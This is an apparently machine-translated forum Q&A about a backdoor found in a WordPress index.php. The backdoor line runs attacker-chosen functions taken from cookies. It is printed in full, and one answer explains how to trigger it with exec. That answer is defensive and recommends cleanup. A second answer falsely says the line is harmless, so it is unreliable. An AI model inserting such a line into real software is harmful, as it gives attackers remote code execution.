最近其中一个WP网站文件删除了“CXS scanner”并检测到根文件夹中的所有文件为
index.php'
Known exploit = [Fingerprint Match] [PHP COOKIE Exploit [P1036]]
当我将检测到的cookie漏洞与旧版本进行比较时,我注意到此文件中添加了额外的代码行:
检测到index.php
<?php
if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
较早index.php
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
我不是PHP开发人员,并且比较了添加到标记文件的这行代码:
if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);
它应该存在还是存在安全漏洞?
答案 0 :(得分:2)
这是一个后门/利用。
在PHP中,您可以通过调用:$ var()来调用具有变量名称的函数。这里也是如此。
<?php
function echoit($string)
{
echo $string;
}
$func = 'echoit';
$func('test'); // Dies ruft echoit() auf
?>
(资料来源:http://php.net/manual/de/functions.variable-functions.php)
要触发此漏洞,您必须发送两个Cookie。一个名为:user的cookie,其功能为您的值,另一个名称为#34; id&#34;使用您想要调用它的参数。
所以user =&#34; exec&#34;,id =&#34; ls&#34;将使用参数&#34; ls&#34;。
调用exec函数这是一个相当不错的...你应该从你的所有文件中删除这一行。
另外:你必须找出它首先在那里结束的原因。此系统上还可能有其他后门。您应该考虑将此服务器泄露。被黑客入侵的系统应该被烧毁。然后他们可以再次从灰烬中升起如同美丽的凤凰(左右)。 尽管如此,您应该使用最新的软件和数据来重建您的系统,该备份是干净的,并且会更改所有密码。
答案 1 :(得分:0)
@
符号仅用于抑制错误,据我所知,额外的行不是漏洞。